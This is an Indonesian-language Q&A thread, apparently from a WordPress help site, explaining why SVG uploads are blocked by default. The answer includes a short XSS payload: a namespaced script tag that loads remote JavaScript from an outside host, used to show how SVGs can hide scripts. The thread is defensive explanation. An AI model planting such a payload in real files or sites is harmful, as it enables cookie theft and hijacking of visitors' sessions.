Untuk alasan keamanan apa svgs diblokir di pengunggah media?


15

Saya melihat bahwa SVG diblokir secara default di pengunggah media dan Anda harus menambahkannya sebagai tipe MIME yang didukung di functions.php. Apa alasan keamanan di balik ini?

Jawaban:


17

SVG dapat berisi JavaScript . JavaScript dapat digunakan untuk membajak cookie atau melakukan tindakan yang meragukan lainnya . Ia bahkan bisa "disembunyikan" di ruang nama:

<html xmlns="http://www.w3.org/1999/xhtml">
   <ø:script src="//0x.lv/" />
</html>

sumber

Sangat sulit untuk memfilternya selama pengunggahan, jadi tidak diizinkan secara default.


Saya pikir titik namespacing adalah untuk menghindari tabrakan nama tag, artinya ø:scripttidak boleh ditangani scriptdan karenanya tidak melakukan apa-apa. Apa yang menyebabkan ø:scripttag namespaced diperlakukan sebagai scripttag non-namespaced ? Atau apakah SVGs juga memungkinkan menanamkan parser XML non-JS?
JAB

@ JAB namespace http://www.w3.org/1999/xhtmlmenjadikan instance skrip ini setara dengan skrip biasa.
fuxia

Oh, sekarang aku mengerti. Namespace implisit untuk tag HTML adalah http://www.w3.org/1999/xhtml, sehingga Anda dapat membuat referensi ke URL itu dan menggunakannya sebagai awalan namespace untuk tag tersebut dan parser XHTML akan menanganinya sebagai tag normal.
JAB
Dengan menggunakan situs kami, Anda mengakui telah membaca dan memahami Kebijakan Cookie dan Kebijakan Privasi kami.
Licensed under cc by-sa 3.0 with attribution required.